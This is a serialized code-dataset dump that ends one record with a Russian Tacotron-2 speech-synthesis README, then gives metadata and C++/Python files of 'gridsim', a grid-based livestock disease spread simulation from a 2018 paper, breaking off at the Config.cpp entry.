"text": "# Tacotron-2:\nTensorflow implementation of DeepMind's Tacotron-2. A deep neural network architecture described in this paper: [Natural TTS synthesis by conditioning Wavenet on MEL spectogram predictions](https://arxiv.org/pdf/1712.05884.pdf)\n\n\n# Dataset:\nДля обучения модели использовался [M-AILABS Russian speech dataset](https://www.caito.de/2019/01/the-m-ailabs-speech-dataset/) содержащий 9ч 58м записи речи.\n\n# Результаты:\nРезультаты обучения модели после 200000 шагов.\n\nФразы из обучающей выборки:\n[1 linear](https://github.com/garlic-shake/Tacotron-2/raw/master/tacotron_output/logs-eval/wavs/wav-batch_0_sentence_0-linear.wav)\n[1 mel](https://github.com/garlic-shake/Tacotron-2/raw/master/tacotron_output/logs-eval/wavs/wav-batch_0_sentence_0-mel.wav)\n[2 linear](https://github.com/garlic-shake/Tacotron-2/raw/master/tacotron_output/logs-eval/wavs/wav-batch_1_sentence_0-linear.wav)\n[2 mel](https://github.com/garlic-shake/Tacotron-2/raw/master/tacotron_output/logs-eval/wavs/wav-batch_1_sentence_0-mel.wav)\n[3 linear](https://github.com/garlic-shake/Tacotron-2/raw/master/tacotron_output/logs-eval/wavs/wav-batch_2_sentence_0-linear.wav)\n[3 mel](https://github.com/garlic-shake/Tacotron-2/raw/master/tacotron_output/logs-eval/wavs/wav-batch_2_sentence_0-mel.wav)\n[4 linear](https://github.com/garlic-shake/Tacotron-2/raw/master/tacotron_output/logs-eval/wavs/wav-batch_3_sentence_0-linear.wav)\n[4 mel](https://github.com/garlic-shake/Tacotron-2/raw/master/tacotron_output/logs-eval/wavs/wav-batch_3_sentence_0-mel.wav)\n\nФразы, не содежращиеся в наборе данных для обучения:\n[1 linear](https://github.com/garlic-shake/Tacotron-2/raw/master/tacotron_output/logs-eval/wavs/wav-batch_4_sentence_0-linear.wav)\n[1 mel](https://github.com/garlic-shake/Tacotron-2/raw/master/tacotron_output/logs-eval/wavs/wav-batch_4_sentence_0-mel.wav)\n[2 linear](https://github.com/garlic-shake/Tacotron-2/raw/master/tacotron_output/logs-eval/wavs/wav-batch_5_sentence_0-linear.wav)\n[2 mel](https://github.com/garlic-shake/Tacotron-2/raw/master/tacotron_output/logs-eval/wavs/wav-batch_5_sentence_0-mel.wav)\n[3 linear](https://github.com/garlic-shake/Tacotron-2/raw/master/tacotron_output/logs-eval/wavs/wav-batch_6_sentence_0-linear.wav)\n[3 mel](https://github.com/garlic-shake/Tacotron-2/raw/master/tacotron_output/logs-eval/wavs/wav-batch_6_sentence_0-mel.wav)\n[4 linear](https://github.com/garlic-shake/Tacotron-2/raw/master/tacotron_output/logs-eval/wavs/wav-batch_7_sentence_0-linear.wav)\n[4 mel](https://github.com/garlic-shake/Tacotron-2/raw/master/tacotron_output/logs-eval/wavs/wav-batch_7_sentence_0-mel.wav)\n[5 linear](https://github.com/garlic-shake/Tacotron-2/raw/master/tacotron_output/logs-eval/wavs/wav-batch_8_sentence_0-linear.wav)\n[5 mel](https://github.com/garlic-shake/Tacotron-2/raw/master/tacotron_output/logs-eval/wavs/wav-batch_8_sentence_0-mel.wav)\n\n\n"
}
] | 3 |
p-robot/gridsim | https://github.com/p-robot/gridsim | 76a214cf86ee5d571443e4289db83f32c571bf66 | 0dc91da9b438ecd3650fd86484600a29ace4d49d | c68632cd57aacc3ce76dbbe7f8ae5d2791b11570 | refs/heads/master | 2020-03-16T23:46:14.565782 | 2018-11-09T10:29:02 | 2018-11-09T10:29:02 | 133,090,496 | 0 | 0 | null | null | null | null | null | [
{
"alpha_fraction": 0.6928839087486267,
"alphanum_fraction": 0.6928839087486267,
"avg_line_length": 23.272727966308594,
"blob_id": "6a16922b661a834bf07b8de2d5c357a303a72fa5",
"content_id": "78df476fbd5168ef6078125588d72f3e1e35d3e5",
"detected_licenses": [
"CC-BY-4.0"
],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 801,
"license_type": "permissive",
"max_line_length": 117,
"num_lines": 33,
"path": "/include/Shipment_handler.h",
"repo_name": "p-robot/gridsim",
"src_encoding": "UTF-8",
"text": "#ifndef SHIPMENT_HANDLER_H\n#define SHIPMENT_HANDLER_H\n\n#include <string>\n#include <vector>\n#include <unordered_map>\n#include <fstream>\n#include <sstream>\n\nclass Node;\nstruct Shipment;\n\nclass Shipment_handler\n{\n public:\n Shipment_handler(std::string shipment_fn, std::unordered_map<unsigned int, Node*>& node_map);\n ~Shipment_handler();\n void make_transmission(unsigned int t); ///Perform all shipment-related transmission for the given time step.\n private:\n std::vector<Shipment*> shipment_vector;\n std::unordered_map<unsigned int, std::vector<Shipment*>> time_shipment_map;\n};\n\nstruct Shipment\n{\n Node* origin;\n Node* destination;\n unsigned int id;\n unsigned int timestep;\n unsigned int n; //Number of animals.\n};\n\n#endif // SHIPMENT_HANDLER_H\n"
},
{
"alpha_fraction": 0.5852047801017761,
"alphanum_fraction": 0.5957728028297424,
"avg_line_length": 14.554794311523438,
"blob_id": "25d338278c9478b2fee4e3168c255b83d37c8436",
"content_id": "2cfdbd405e00581270d73f8c7d57e58b50bcb7fc",
"detected_licenses": [
"CC-BY-4.0"
],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 2271,
"license_type": "permissive",
"max_line_length": 64,
"num_lines": 146,
"path": "/src/Node.cpp",
"repo_name": "p-robot/gridsim",
"src_encoding": "UTF-8",
"text": "#include \"Node.h\"\n#include \"Cell.h\"\n#include \"Grid.h\"\n\nNode::Node(double x, double y, unsigned int num_sp1,\n unsigned int num_sp2, unsigned int id,\n unsigned int group, const Config& C, Grid* G) :\n position(x, y), num_sp1(num_sp1), num_sp2(num_sp2),\n id(id), group(group), C(C), parent_grid(G)\n{\n\n}\n\nNode::~Node()\n{\n //dtor\n}\n\nunsigned int Node::get_num_sp1()\n{\n return num_sp1;\n}\n\nunsigned int Node::get_num_sp2()\n{\n return num_sp2;\n}\n\nunsigned int Node::get_id()\n{\n return id;\n}\n\nunsigned int Node::get_group()\n{\n return group;\n}\n\ndouble Node::get_susceptibility()\n{\n return susceptibility;\n}\n\ndouble Node::get_infectiousness()\n{\n return infectiousness;\n}\n\nint Node::get_status()\n{\n return status;\n}\n\nint Node::get_time_of_infection()\n{\n return infection_time;\n}\n\nCell* Node::get_parent()\n{\n return parent;\n}\n\nvoid Node::set_susceptibility(double s)\n{\n susceptibility = s;\n}\n\nvoid Node::set_infectiousness(double i)\n{\n infectiousness = i;\n}\n\nvoid Node::set_status(int val)\n{\n status = val;\n}\n\nvoid Node::set_parent(Cell* in_parent)\n{\n parent = in_parent;\n}\n\n//Move the infection process forward one timestep for this node.\nvoid Node::update()\n{\n switch(status)\n {\n case(1): //If current status is exposed\n countdown--;\n if(countdown < 0)\n this->become_infectious();\n break;\n case(2): //If current status is infectious\n countdown--;\n if(countdown < 1)\n this->become_removed();\n break;\n case(3): //If status is detected\n countdown--;\n if(countdown < 1)\n this->become_removed();\n break;\n default:\n break;\n }\n}\n\nvoid Node::reset()\n{\n status = 0;\n countdown = 0;\n infection_time = -1;\n}\n\nvoid Node::become_seeded()\n{\n become_exposed();\n this->parent->init_node_statuses();\n}\n\nvoid Node::become_exposed()\n{\n status = 1;\n countdown = C.inc_time;\n infection_time = parent->get_time();\n parent_grid->add_to_group_inf(this, group);\n}\n\nvoid Node::become_infectious()\n{\n status = 2;\n countdown = C.det_time;\n}\n\nvoid Node::become_detected()\n{\n status = 3;\n countdown = C.rem_time;\n}\n\nvoid Node::become_removed()\n{\n status = 4;\n countdown = 0;\n}\n"
},
{
"alpha_fraction": 0.6649325489997864,
"alphanum_fraction": 0.6670520305633545,
"avg_line_length": 57.314605712890625,
"blob_id": "b11282d376ca6e17e73c493ad8ba5ae1dc1a521f",
"content_id": "884b33f69873bca932c920b5e0b22b6191928d66",
"detected_licenses": [
"CC-BY-4.0"
],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 5190,
"license_type": "permissive",
"max_line_length": 161,
"num_lines": 89,
"path": "/include/Cell.h",
"repo_name": "p-robot/gridsim",
"src_encoding": "UTF-8",
"text": "#ifndef CELL_H\n#define CELL_H\n\n#include <vector>\n#include <unordered_map>\n#include \"Node.h\"\n#include \"Point.h\"\n\nclass Grid;\nclass Config;\nclass Bin5tbl;\n\n/**\nRepresents one cell inside the grid.\n*/\nclass Cell\n{\n public:\n /**\n Constructed using the lower left x & y coordinates as well\n as side length.\n */\n Cell();\n Cell(double lower_left_x, double lower_left_y, double side, Grid* parent, const Config& C);\n Cell(double lower_left_x, double lower_left_y, double sideH, double sideV, Grid* parent, const Config& C, bool divide_along_x);\n ~Cell();\n static unsigned int get_n_cells();\n unsigned int get_id(); ///Returns the cell's id.\n double get_max_susceptibility(); ///Returns the largest normalized susceptibility value of all member nodes.\n double get_max_infectiousness(); ///Returns the largest normalized infectiousness value of all member nodes.\n std::vector<Node*> get_nodes(); ///Returns all nodes.\n std::vector<Node*> get_nodes(unsigned int status); ///Returns nodes of specified status.\n std::vector<Node*> get_transmitting_nodes(); ///Returns all nodes that can transmit (status 2 & 3).\n unsigned int get_n_nodes(); ///Returns the number of nodes that belong to this cell.\n size_t get_distance_index(); ///Returns an index to where this cell is represented in distance vectors.\n double get_shortestDistanceTo(Cell* c); ///Returns the shortest distance between this cell and argument cell c.\n double get_p_over(Cell* c);\n void commitTimeStep(); ///Update all nodes statuses and put them in the correct status vectors.\n void current_status(std::vector<size_t>& status_vec); ///Adds n farms of different status to corresponding element in status_vec.\n size_t get_n_sus(); ///Returns the number of susceptible farms at the moment\n size_t get_n_inf(); ///Returns the number of infectious farms at the moment\n size_t get_time(); ///Gets the current timestep from the parent grid.\n bool isWithin(Point p); ///Checks if the point is within this cell.\n bool isWithin(Node* n); ///Checks if the node is within this cell.\n bool isWithinHRange(Point p); ///Checks if a point is within the horizontal range of the cell.\n bool isWithinVRange(Point p); ///Checks if a point is within the vertical range of the cell.\n std::vector<Point> get_corners(); ///Returns the corners in a vector (ll, lr, ul, ur)\n void set_distance_index(size_t id); ///Assigns id as an identifier to use when getting and setting distances.\n double calc_shortestDistanceSimple(Cell* other_cell); ///Calculate and return shortest distance from this cell to other for the static gridding method.\n double calc_shortestDistanceComplex(Cell* other_cell); ///Calculate and return shortest distance from this cell to other for the dynamic gridding method.\n void addNode(Node* node); ///Adds node to this cell and set the node's parent to this.\n void addNodes(std::vector<Node*> in_nodes); ///Adds nodes to this cell and set the nodes' parent to this.\n std::vector<Cell*> subdivideQuad(unsigned int max_nodes, bool force_division = false); ///Used to recursively create cells with dynamic size.\n void init_node_statuses(); ///Puts the nodes in the correct status vectors without updating them.\n void init_transmission_parameters(); ///Initiates maximum inf and max sus for this cell based on its nodes.\n void reset(); ///Incomplete\n std::string as_str(); ///Returns a summary of cell in string form.\n\n private:\n static unsigned int cells_created;\n Grid* parent; ///Pointer back up to the grid the cell exists within.\n unsigned int id;\n unsigned int n_nodes = 0;\n double width; ///Horizontal size of this cell.\n double height; ///Vertical size of cell.\n size_t n_sus = 0;\n size_t n_inf = 0;\n Point ll, lr, ul, ur; ///The four corners, lower left, lower right, upper left, upper right.\n const Config& C;\n bool divide_along_x = true;\n double max_susceptibility = 0.0;\n double max_infectiousness = 0.0;\n size_t distance_index = 0;\n bool quadratic = false;\n std::vector<Point> corners; ///Corners in a vector (lower left, lower right, upper left, upper right)\n std::vector<double> x_bounds, y_bounds; ///Max/min coordinates of this cells x/y dimensions.\n std::vector<Node*> nodes; ///All nodes that belong to this cell.\n std::vector<Node*> sus_nodes; ///All susceptible nodes in this cell.\n std::vector<Node*> exp_nodes; ///All exposed nodes in this cell.\n std::vector<Node*> inf_nodes; ///All infectious nodes in this cell.\n std::vector<Node*> det_nodes; ///All detected nodes in this cell.\n std::vector<Node*> tra_nodes; ///All currently transmitting nodes.\n std::vector<Node*> rem_nodes; ///All removed nodes in this cell.\n\n k_fun_ptr k_function; ///Pointer to kernel function in use.\n d_fun_ptr d_function; ///Pointer to distance function in use.\n};\n\n#endif // CELL_H\n"
},
{
"alpha_fraction": 0.6771947145462036,
"alphanum_fraction": 0.6908729076385498,
"avg_line_length": 63.85483932495117,
"blob_id": "93c9b3f6f0962213fd2f0ffaa58b2514088fc52b",
"content_id": "8421c39abcb0e80187c5b476818f925fc440be1a",
"detected_licenses": [
"CC-BY-4.0"
],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 4021,
"license_type": "permissive",
"max_line_length": 212,
"num_lines": 62,
"path": "/include/Local_spread.h",
"repo_name": "p-robot/gridsim",
"src_encoding": "UTF-8",
"text": "#ifndef LOCAL_SPREAD_H\n#define LOCAL_SPREAD_H\n\n#include <vector>\n#include <unordered_map>\n#include <random>\n#include \"Point.h\"\n\nclass Config;\nclass Node;\nclass Cell;\n\n/**\nThis class handles the calculations related to the local spread of infection.\n*/\nclass Local_spread\n{\n //typedef double (*k_fun_ptr)(double); ///Typedef for a pointer to a kernel function.\n //typedef double (*d_fun_ptr)(Point, Point); ///Typedef for a pointer to a distance function.\n typedef unsigned long long int (Local_spread::*o_fun_node_ptr)(Node*, Cell*); ///Typedef of a pointer to optimization method based on node to cell transmission.\n typedef unsigned long long int (Local_spread::*o_fun_cell_ptr)(Cell*, Cell*); ///Typedef of a pointer to optimization method based on cell to cell transmission.\n typedef double (Local_spread::*p_fun_ptr)(Node*, Node*); ///Typedef of a pointer to probability function for true p.\n typedef double (Local_spread::*po_cell_fun_ptr)(Cell*, Cell*); ///Typedef of a pointer to probability function for overestimated p (to enter a cell).\n\n public:\n Local_spread(const Config& C);\n ~Local_spread();\n void reset();\n void init_kernel_lookup(double longest_distance);\n void init_binomial_lookup(size_t largest_n);\n double callKernel(double d);\n unsigned long long int makeInfections(Node* inf, Cell* recipient_cell);\n unsigned long long int makeInfections(Cell* inf_cell, Cell* recipient_cell);\n double calc_infection_p(Node* inf_node, Node* sus_node);\n double calc_infection_p_over(Cell* inf_cell, Cell* sus_cell);\n\n private:\n const Config& C;\n o_fun_node_ptr o_function_node; ///Pointer to optimization function in use for node to cell transmission.\n o_fun_cell_ptr o_function_cell; ///Pointer to optimization function in use for cell to cell transmission.\n p_fun_ptr p_function; ///Pointer to probability function in use (depends on kernel choice).\n po_cell_fun_ptr po_cell_function; ///Pointer to probability function in use (for overestimated cell to cell probability).\n std::vector<double> kernel_lookup;\n std::vector<std::vector<std::binomial_distribution<size_t>*>*> binomial_lookup;\n std::mt19937* generator;\n std::vector<double> binomial_lookup_ps = {1.0, 0.9, 0.8, 0.7, 0.6, 0.5, 0.4, 0.3, 0.2, 0.1, 1.0e-2, 1.0e-3,\n 1.0e-4, 1.0e-5, 1.0e-6, 1.0e-7, 1.0e-8, 5.0e-9};\n\n double generate_bin_rv_lookup(size_t n, double p, size_t& res);\n double calc_infection_p_USDOS2(Node* inf_node, Node* sus_node); ///Get a probability based on distance between and norm. sus and inf of sus_node and inf_node.\n double calc_infection_p_over_USDOS2(Node* inf_node, Cell* sus_cell);///Get p_over for USDOS2 binomial & keeling methods between inf node and cell.\n double calc_infection_p_over_USDOS2(Cell* inf_cell, Cell* sus_cell);///Get p_over for USDOS2 binomial & keeling methods between inf cell and cell.\n double calc_infection_p_USDOS2_lookup(Node* inf_node, Node* sus_node); ///Get a probability based on distance between and norm. sus and inf of sus_node and inf_node using a lookup table for kernel values.\n\n unsigned long long int localPairwise(Node* inf, Cell* recipient_cell); ///Performs transmission using PW alg. from infectious node to cell.\n unsigned long long int localPairwise(Cell* inf_cell, Cell* recipient_cell); ///Performs transmission using PW alg. from cell to cell.\n unsigned long long int localKeeling(Node* inf, Cell* recipient_cell); ///Performs transmission using CE alg. from infectious node to cell.\n unsigned long long int localBinomial(Node* inf, Cell* recipient_cell); ///Performs transmission using simple CS alg. from infectious node to cell.\n unsigned long long int localBinomial_CtoC(Cell* inf_cell, Cell* recipient_cell); ///Performs transmission using CS alg. from cell to cell.\n};\n\n#endif // LOCAL_SPREAD_H\n"
},
{
"alpha_fraction": 0.5263158082962036,
"alphanum_fraction": 0.5263158082962036,
"avg_line_length": 10.5,
"blob_id": "c43a1a3982e98f7079dba5c08d47f5bd16107837",
"content_id": "328b2a8dbb523b6b82063ce8e9044e56356841d9",
"detected_licenses": [
"CC-BY-4.0"
],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 437,
"license_type": "permissive",
"max_line_length": 44,
"num_lines": 38,
"path": "/src/Point.cpp",
"repo_name": "p-robot/gridsim",
"src_encoding": "UTF-8",
"text": "#include \"Point.h\"\n\nPoint::Point()\n{\n\n}\n\nPoint::Point(double x, double y) :\n x(x), y(y)\n{\n //ctor\n}\n\nPoint::~Point()\n{\n //dtor\n}\n\nvoid Point::set_x(double val)\n{\n x = val;\n}\n\nvoid Point::set_y(double val)\n{\n y = val;\n}\n\nbool Point::operator==(Point &other)\n{\n return(this->get_x() == other.get_x() &&\n this->get_y() == other.get_y());\n}\n\nbool Point::operator!=(Point &other)\n{\n return !(*this == other);\n}\n"
},
{
"alpha_fraction": 0.6128959655761719,
"alphanum_fraction": 0.6198607087135315,
"avg_line_length": 35.785125732421875,
"blob_id": "5def4e608c4123ca0d59237f4a7f652266ecaa76",
"content_id": "ee99ae9d9643294313add60fdfe45d29b6dc9ff0",
"detected_licenses": [
"CC-BY-4.0"
],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 4451,
"license_type": "permissive",
"max_line_length": 102,
"num_lines": 121,
"path": "/include/common_functions.h",
"repo_name": "p-robot/gridsim",
"src_encoding": "UTF-8",
"text": "#ifndef COMMON_F_H\n#define COMMON_F_H\n\n#define ping() std::cout << \"*** Ping line \" << __LINE__ << \", \" << __FILE__ << \" ***\" << std::endl\n\n#include <typeinfo>\n#include <fstream>\n#include <sstream>\n#include <cstdlib>\n#include <iostream>\n#include <vector>\n#include <cmath>\n#include <chrono>\n#include <numeric>\n\n#include \"Point.h\"\n\ntypedef std::chrono::high_resolution_clock::time_point TimePoint;\ntypedef double (*k_fun_ptr)(double); ///Typedef for a pointer to a kernel function.\ntypedef double (*d_fun_ptr)(Point, Point); ///Typedef for a pointer to a distance function.\n\nnamespace common\n{\n TimePoint get_wall_time();\n unsigned long long int delta_duration(TimePoint t1);\n double sq_distance(Point p1, Point p2);\n double eucl_distance(Point p1, Point p2);\n double USDOS2_kernel(double d);\n double USDOS2_kernel_square(double d);\n double USDOS2_kernel_half_gamma(double d);\n double USDOS2_kernel_square_half_gamma(double d);\n double USDOS2_kernel_double_gamma(double d);\n double USDOS2_kernel_square_double_gamma(double d);\n double brand_kernel_a3(double d);\n double brand_kernel_a4(double d);\n double brand_kernel_a5(double d);\n double hayama_kernel(double d);\n double USDOS2_kernel_v2(double d);\n double gaussian_kernel(double d);\n double unif_rand();\n int rand_int(int lo, int hi);\n size_t draw_binom(size_t n, double prob);\n unsigned int get_n_lines(std::ifstream& f);\n void skipBOM(std::ifstream &in);\n std::vector<std::string> split(const std::string&,\n char, std::vector<std::string>&);\n\tstd::vector<std::string> split(const std::string&, char);\n\tstd::vector<int> split_stoi(const std::string &s, char delim);\n\tstd::vector<double> split_stod(const std::string &s, char delim);\n\tdouble oneMinusExp(double x);\n\n template<typename T>\n double average(const std::vector<T>& elements)\n {\n double sum = 0.0;\n for(T element : elements)\n {\n sum += double(element);\n }\n return sum / double(elements.size());\n }\n\n template<typename T>\n double variance_from(const std::vector<T>& elements, double val)\n {\n std::vector<double> sq_diff;\n sq_diff.reserve(elements.size());\n for(T element : elements)\n {\n double diff = double(element) - val;\n sq_diff.push_back(diff * diff);\n }\n return average(sq_diff);\n }\n\n template<typename T>\n T stringToNum(const std::string& text)\n {\n std::istringstream ss(text);\n T result;\n if (! (ss>>result))\n {\n std::cout << \"Failed to convert string \" << text << \" to \"\n << typeid(T).name() << std::endl;\n exit(EXIT_FAILURE);\n }\n return result;\n }\n\n ///> Chooses multiple random elements from a vector based on the Fisher-Yates shuffling algorithm.\n /// num_random selected random values are copied to output,\n /// selected values are swapped to the end of the vector so they're not selected again\n /// Used in Grid_manager to select binomial-success farms\n /// Used in Shipping_manager to select random premises in counties\n /// \\param[in]\telements\tVector of values from which to choose\n ///\t\\param[in]\tnum_random\tNumber of values to choose\n /// \\param[out] output\t\tVector of randomly chosen values\n template<typename T>\n void random_unique(std::vector<T> elements, size_t num_random, std::vector<T>& output)\n // elements not referenced (&) because we're rearranging it\n {\n std::vector<T> result;\n result.reserve(num_random);\n size_t endIndex = elements.size();\n // endIndex separates non-selected values (elements [0, endIndex-1]) from selected values\n for (size_t i = 1; i<= num_random; i++){\n // choose random number between 0 and 1\n double rUnif = unif_rand();\n // scale up to endIndex, so r is an index in [0, endIndex)\n if (rUnif == 1 ){rUnif=0.999;} // avoids assigning actual endIndex value (out of range)\n size_t r = (size_t)floor(rUnif*double(endIndex));\n // copy value to result\n result.emplace_back(elements[r]);\n // swap r and endIndex-1 (last element of non-selected values)\n std::swap(elements[r], elements[endIndex-1]);\n endIndex--;\n }\n result.swap(output);\n }\n}\n#endif // COMMON_F_H\n"
},
{
"alpha_fraction": 0.6967963576316833,
"alphanum_fraction": 0.7156750559806824,
"avg_line_length": 34.41666793823242,
"blob_id": "f6878299a170d29a62462e44f6b2502c868cd7ca",
"content_id": "1ad0d08e473258ce2cf56ac88406d29e311972a8",
"detected_licenses": [
"CC-BY-4.0"
],
"is_generated": false,
"is_vendor": false,
"language": "Markdown",
"length_bytes": 1748,
"license_type": "permissive",
"max_line_length": 231,
"num_lines": 48,
"path": "/readme.md",
"repo_name": "p-robot/gridsim",
"src_encoding": "UTF-8",
"text": "gridsim\r\n=======\r\n\r\nFork of `gridsim` code from the publication of Sellman and Tsao et al. (2018). \r\n\r\n\r\nOriginal `readme.txt`\r\n---------------------\r\n\r\n> This is gridsim, a small kernel based spatially explicit livestock disease\r\n> simulation. Gridsim is primarily intended to be a reference to the methods\r\n> described in the main paper, and as an example of how to implement them. As\r\n> such, it was never intended to be a disease simulation tool and the authors\r\n> make no claims about its power as a predictive model. \r\n> \r\n> After compiling and assuming that the binary is called gridsim, run the\r\n> program as \"gridsim <config_file>\" from the command line. Provided together\r\n> with the code is an example config file which can be easily be modified to\r\n> suit your needs. \r\n> If you want to use your own landscape file simply construct a text file with\r\n> the columns [farm id, group, x-coordinate, y-coordinate, number of animal \r\n> species 1, number of animal species 2]. Each line is a node and the file should\r\n> not contain a header. Group must be a number that indicates that the farm\r\n> belongs to for instance a region such as a county or similar, although it is\r\n> not necessary and every node can belong to the same group.\r\n\r\n\r\nRunning\r\n------\r\n\r\n```bash\r\n# Clone the repo and make the required folder\r\ngit clone https://github.com/p-robot/gridsim\r\ncd gridsim\r\nmkdir obj\r\n\r\n# Compile\r\nmake\r\n\r\n# Run the code using the example setup\r\n./gridsim example_config.txt\r\n```\r\n\r\n\r\nReference\r\n---------\r\n\r\nSellman S, Tsao K, Tildesley MJ, Brommesson P, Webb CT, Wennergren U, et al. (2018) Need for speed: An optimized gridding approach for spatially explicit disease simulations. PLoS Comput Biol 14(4): e1006086. https://doi.org/10.1371/journal.pcbi.1006086\r\n"
},
{
"alpha_fraction": 0.47505518794059753,
"alphanum_fraction": 0.5068432688713074,
"avg_line_length": 26.696203231811523,
"blob_id": "091c0404e358f60dd51437a7efb849c8ea8babe2",
"content_id": "4a7a11ee547010d7efdde1750e44f4068872b54e",
"detected_licenses": [
"CC-BY-4.0"
],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 2265,
"license_type": "permissive",
"max_line_length": 92,
"num_lines": 79,
"path": "/plot_grid_node_relation.py",
"repo_name": "p-robot/gridsim",
"src_encoding": "UTF-8",
"text": "import numpy as np\r\nfrom matplotlib import pyplot as plt\r\nfrom matplotlib import colors\r\nimport matplotlib\r\n\r\ndef prettify_axes(ax):\r\n linewidth = 0.5\r\n\r\n #ax.tick_params(top='off', bottom = 'off', left = 'off', right='off', direction = 'out')\r\n ax.get_xaxis().set_visible(False)\r\n ax.get_yaxis().set_visible(False)\r\n \r\n ax.set_frame_on(False)\r\n ax.axis('equal')\r\n\r\ndef main():\r\n fontdict = {'size': 9}\r\n matplotlib.rc('font', **fontdict)\r\n\r\n fig, ax = plt.subplots(1,1)\r\n cmap = cmap = plt.get_cmap('winter')\r\n \r\n #Grid\r\n cells = list()\r\n cell_colors = list()\r\n fg = open(\"_grid.dat\", 'r')\r\n for line in fg.readlines():\r\n l = line.strip()\r\n l = l.split('\\t')\r\n coords = np.zeros((2,5))\r\n i = 0\r\n for x, y in zip(l[0::2], l[1::2]):\r\n coords[0,i] = x\r\n coords[1,i] = y\r\n i += 1\r\n coords[0,4] = coords[0,0]\r\n coords[1,4] = coords[1,0]\r\n #Switch place between UL and UR\r\n tempcULx = coords[0,2]\r\n tempcULy = coords[1,2]\r\n coords[0,2] = coords[0,3]\r\n coords[1,2] = coords[1,3]\r\n coords[0,3] = tempcULx\r\n coords[1,3] = tempcULy\r\n cells.append(coords)\r\n cell_colors.append(int(l[8]))\r\n \r\n norm = colors.Normalize(min(cell_colors), max(cell_colors))\r\n \r\n for i in range(len(cells)):\r\n ax.plot(cells[i][0,:], cells[i][1,:], lw = 0.25, c = cmap(norm(cell_colors[i])))\r\n # ax.plot(cells[i][0,:], cells[i][1,:], lw = 1.5, c = 'k')\r\n fg.close()\r\n \r\n #Nodes\r\n fn = open(\"_nodes.dat\", 'r')\r\n n_coords = [[],[]]\r\n color_list = []\r\n \r\n for line in fn.readlines():\r\n l = line.strip()\r\n l = l.split('\\t')\r\n n_coords[0].append(float(l[0]))\r\n n_coords[1].append(float(l[1]))\r\n color_list.append(float(l[2]))\r\n\r\n x_a = np.array(n_coords[0])\r\n y_a = np.array(n_coords[1])\r\n c_a = np.array(color_list)\r\n\r\n ax.scatter(x_a, y_a, c = c_a, norm = norm, cmap = cmap, s = .5, linewidth = 0)\r\n prettify_axes(ax)\r\n # plt.show()\r\n fig.set_size_inches(11.7*0.9, 8.27*0.9)\r\n plt.tight_layout()\r\n plt.savefig('node-grid-relationship.png', dpi = 1200)\r\n\r\nif __name__ == '__main__':\r\n main()"
},
{
"alpha_fraction": 0.6446202397346497,
"alphanum_fraction": 0.6531645655632019,
"avg_line_length": 46.164180755615234,
"blob_id": "00362bf080e17bba53a2600a389d122101f3ddca",
"content_id": "1e6699edd646170f3c4a6b93cbaa843676ce36d6",
"detected_licenses": [
"CC-BY-4.0"
],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 3160,
"license_type": "permissive",
"max_line_length": 118,
"num_lines": 67,
"path": "/include/Node.h",
"repo_name": "p-robot/gridsim",
"src_encoding": "UTF-8",
"text": "#ifndef NODE_H\n#define NODE_H\n\n#include \"Point.h\"\n#include \"Config.h\"\nclass Cell;\nclass Grid;\n\n/**\nDescribes one node in the landscape. Status is described\nas an integer, 0 = susceptible, 1 = exposed, 2 = infectious,\n3 = detected, 4 = removed.\n*/\nclass Node\n{\n public:\n /**\n Construct using x and y coordinates, number of animals, id and config object.\n */\n Node(double x, double y, unsigned int num_sp1, unsigned int num_sp2, unsigned int id,\n unsigned int group, const Config& C, Grid* G);\n ~Node();\n Point get_position(); ///Returns the position of this node. Inlined\n unsigned int get_num_sp1(); ///Returns the number of animals of species 1 of this node.\n unsigned int get_num_sp2(); ///Returns the number of animals of species 2 of this node.\n unsigned int get_id(); ///Returns the node's id.\n unsigned int get_group(); ///Returns the node's group.\n double get_susceptibility(); ///Returns node's normalized susceptibility.\n double get_infectiousness(); ///Returns node's normalized infectiousness.\n int get_status(); ///Returns the current status of this node.\n int get_time_of_infection(); ///Returns the time step that this node got infected. Returns -1 if not infected.\n Cell* get_parent(); ///Returns the parent cell of this node.\n void set_susceptibility(double s); ///Sets the total normalized susceptibility of this node.\n void set_infectiousness(double i); ///Sets the total normalized infectiousness of this node.\n void set_status(int val); ///Sets the infections status of this node.\n void set_parent(Cell* in_parent); ///Sets the parent cell of this noe to arg.\n void update(); ///Update status for this timestep.\n void reset(); ///Reset this node to its original state (susceptible).\n void become_seeded(); ///Seed this node.\n void become_exposed(); ///Expose this node to infection.\n void become_infectious(); ///Turns this node infectious.\n void become_detected(); ///Turns this node into detected.\n void become_removed(); ///Turns this node into removed.\n\n private:\n Point position; ///Position.\n unsigned int num_sp1 = 0; ///Number of animals of species 1 of this node.\n unsigned int num_sp2 = 0; ///Number of animals of species 2 of this node.\n unsigned int id; ///Identifier for this node.\n unsigned int group; ///Which group does this node belong to. Eg. county.\n const Config& C; ///Config parameters.\n Grid* parent_grid; ///Pointer back to the grid object that the node belongs to.\n double susceptibility = 1.0; ///Total normalized susceptibility of this node.\n double infectiousness = 1.0; ///Total normalized infectiousness of this node.\n double current_cell_p_over = 1.0;\n unsigned int status = 0; ///Current status of node.\n int infection_time = -1;\n int countdown = 0; ///Keeps track of when its time for transition.\n Cell* parent; ///Parent cell.\n};\n\ninline Point Node::get_position()\n{\n return position;\n}\n\n#endif // NODE_H\n"
},
{
"alpha_fraction": 0.5333694219589233,
"alphanum_fraction": 0.5547583699226379,
"avg_line_length": 33.199073791503906,
"blob_id": "43c51dd5eeb1a2ec76d6fd94ac070ac4b96b437e",
"content_id": "ead1a5945c9fe075b6ebdb6fc7fbd0418977c338",
"detected_licenses": [
"CC-BY-4.0"
],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 7387,
"license_type": "permissive",
"max_line_length": 114,
"num_lines": 216,
"path": "/src/Config.cpp",
"repo_name": "p-robot/gridsim",
"src_encoding": "UTF-8",
